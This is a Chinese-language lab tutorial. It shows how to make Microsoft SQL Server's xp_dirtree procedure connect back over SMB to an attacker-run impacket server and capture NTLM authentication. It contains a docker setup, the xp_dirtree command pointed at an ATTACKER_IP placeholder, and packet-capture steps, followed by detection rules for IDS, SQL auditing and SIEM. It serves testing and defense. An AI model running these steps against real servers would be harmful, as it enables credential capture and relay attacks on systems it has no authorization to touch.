利用 xp_dirtree 触发 MSSQL 到攻击机的 SMB 回连并捕获 NTLM
Security
利用 xp_dirtree 触发 MSSQL 到攻击机的 SMB 回连并捕获 NTLM
On this page
本文演示如何在授权的测试环境中复现并验证 Microsoft SQL Server(MSSQL)通过扩展存储过程 xp_dirtree 发起对外 SMB/NTLM 回连的能力;同时展示如何收集证据(SMB 日志 & pcap)、分析输出、以及在企业环境中检测与防护这类行为。
1.目标与背景
- 目标:证明 MSSQL 可以通过扩展存储过程(
xp_dirtree
等)发起到外部 SMB 的回连,从而泄露 NTLM 认证信息或触发中继攻击。 - 场景:渗透测试或红队演练中,当无法直接获得数据库凭证时,诱导数据库出站连接用于凭证捕获或中继是一条常见路径。
2.环境准备
- 主机要求:Linux(支持 Docker)或 Docker Desktop。建议至少 4GB 可用内存。
- 已安装:Docker, docker-compose, git。
- 网络:本教程使用 Docker 自建网络(lab-net),容器不会把 MSSQL 的 1433 暴露到公网(默认)。
3.一键部署
把下面文件保存为 docker-compose.yml
:
version: '3.8'
services:
mssql-test:
image: mcr.microsoft.com/mssql/server:2019-latest
container_name: mssql-test
environment:
ACCEPT_EULA: "Y"
MSSQL_SA_PASSWORD: "S3cureP@ssw0rd!"
networks:
- lab-net
volumes:
- mssqldata:/var/opt/mssql
shm_size: '1g'
attacker:
image: ubuntu:20.04
container_name: attacker
tty: true
stdin_open: true
networks:
- lab-net
command: /bin/bash
volumes:
- ./work:/work
volumes:
mssqldata:
networks:
lab-net:
driver: bridge
# 部署
docker-compose up -d
# 进入 attacker 容器交互式 shell
docker exec -it attacker /bin/bash
4.在 attacker 容器里准备工具
在 attacker
里运行:
apt update && apt install -y python3 python3-pip git tcpdump netcat curl vim
pip3 install impacket
git clone https://github.com/YOLOP0wn/yolo-mssqlclient.git /work/yolo-mssqlclient
cd /work/yolo-mssqlclient
5.启动 SMB 监听(在 attacker)
在 attacker 开一个终端 A,创建共享并启动 impacket
的 smbserver(前台,方便实时观察):
mkdir -p /tmp/SMBShare
echo "SMB test" > /tmp/SMBShare/README.txt
python3 -m impacket.smbserver SMBShare /tmp/SMBShare
或后台运行并写日志:
nohup python3 -m impacket.smbserver SMBShare /tmp/SMBShare > /tmp/smbserver.log 2>&1 &
tail -f /tmp/smbserver.log
输出 [*] Service started
。当 MSSQL 发起连接时,你会看到 Client at <mssql-ip> connected to share SMBShare
等行与 NTLM 协商信息。
6.触发 xp_dirtree
(在 attacker 的另一个终端 B)
获取容器 IP(宿主机执行或在 attacker 内执行):
# 宿主机
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mssql-test
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' attacker
# 在 attacker 容器里也可以通过环境变量或 net-tools 获取
生成 SQL 文件(不要使用 GO
,本客户端不解析 GO
):
cat > /tmp/cmds_xp_min.sql <<'SQL'
SELECT @@version;
EXEC master..xp_dirtree '\\<ATTACKER_IP>\SMBShare';
SQL
运行:
python3 yolo-mssqlclient.py 'sa:S3cureP@ssw0rd!@<MSSQL_IP>' -file /tmp/cmds_xp_min.sql -debug
注意:如果密码包含特殊字符(例如 !
),在 bash 中用单引号包住 target 字符串或转义 !
:'sa:S3cureP@ssw0rd!@<MSSQL_IP>'
(把整个参数放单引号内)。
7.观察与证据采集
- 在 smbserver 终端(A)观察是否有
Client at <MSSQL_IP> connected to share SMBShare
、AUTHENTICATE_MESSAGE
等行。 - 在 attacker 上抓包:
tcpdump -n -i any host <MSSQL_IP> and port 445 -w /tmp/smb_from_mssql.pcap -c 200
# 触发 xp_dirtree 后查看
tcpdump -r /tmp/smb_from_mssql.pcap -n -q
- 保存 yolo 输出:
python3 yolo-mssqlclient.py 'sa:...@<MSSQL_IP>' -file /tmp/cmds_xp_min.sql -debug | tee /tmp/yolo_out.log
- 打包证据:
mkdir -p /work/evidence
cp /tmp/smbserver.log /tmp/smb_from_mssql.pcap /tmp/yolo_out.log /work/evidence/
tar czvf /work/evidence.tar.gz -C /work evidence
8.常见问题
- 如果
nc
/nc -vz
连接 1433 无响应,检查 Docker 网络是否在同一网段(docker network connect lab-net mssql-test
)。 - 若
yolo
报event not found
与!
相关,使用单引号或set +H
关闭 bash 历史扩展。 GO
:不要在脚本中使用GO
,yolo
不处理它(会被当作 T-SQL 执行并报错)。xp_cmdshell
:在很多 Linux SQL Server 镜像上xp_cmdshell
受到限制或不可用(如你实验所见),不要指望在该镜像上一定能启用。若必须测试xp_cmdshell
,请在受控 Windows + SQL Server Developer 环境中重建实验。
9.解读输出(FAQ)
- yolo 的
-debug
输出中[*] Encryption required, switching to TLS
+ACK: Result: 1 - Microsoft SQL Server ...
→ 表示连接成功并进入 TDS 会话。 xp_dirtree
若显示表头但没有行:可能共享为空、权限不足或枚举被限制。验证方法:在共享里创建子目录/文件,再重试;并查看 smbserver 日志是否有连接。- 在 smbserver 日志看到
AUTHENTICATE_MESSAGE
、NTLM 信息 → 你已成功捕获 NTLM 握手数据(可用于检测/中继研究,但请勿在未授权环境滥用)。
10.示例检测规则
下面给出一些可放入 SIEM / IDS / Host EDR 的检测思路及示例(可直接改写到你的规则库中)。
1) 网络层(阻断与告警)
- 阻断:禁止数据库服务器对外 445 的出站。
- IDS 策略(Suricata/Snort)示例(伪代码)
alert tcp any any -> any 445 (msg:"DB server outbound SMB from SQL process"; sid:1000001; rev:1;)
- 或在网络流日志中查找:源 IP 为数据库主机,目的端口为 445 的非白名单目的地。
2) SQL 审计 / Extended Events 示例
在 SQL Server 上启用扩展事件或审计规则来记录对 xp_dirtree
、xp_cmdshell
、sp_configure
、sp_addlinkedserver
的调用。例如(简化的 Extended Events,示意):
-- 创建扩展事件会话(示例)
CREATE EVENT SESSION [AuditDangerousProcedures] ON SERVER
ADD EVENT sqlserver.sp_statement_completed (
ACTION(sqlserver.sql_text, sqlserver.session_id)
WHERE sqlserver.like_i_sql_unicode_string(sqlserver.sql_text, '%xp_dirtree%')
)
ADD TARGET package0.ring_buffer;
ALTER EVENT SESSION [AuditDangerousProcedures] ON SERVER STATE = START;
#(把语句改写为你环境可用的版本并确保性能考虑)
3) SIEM / Splunk 查询示例
index=network_logs dest_port=445 src_ip=<DB_SERVER_IP> | stats count by dest_ip
或者针对 Windows 事件 / Sysmon 检测 SQL Server 进程建立网络连接到 445。
Discussion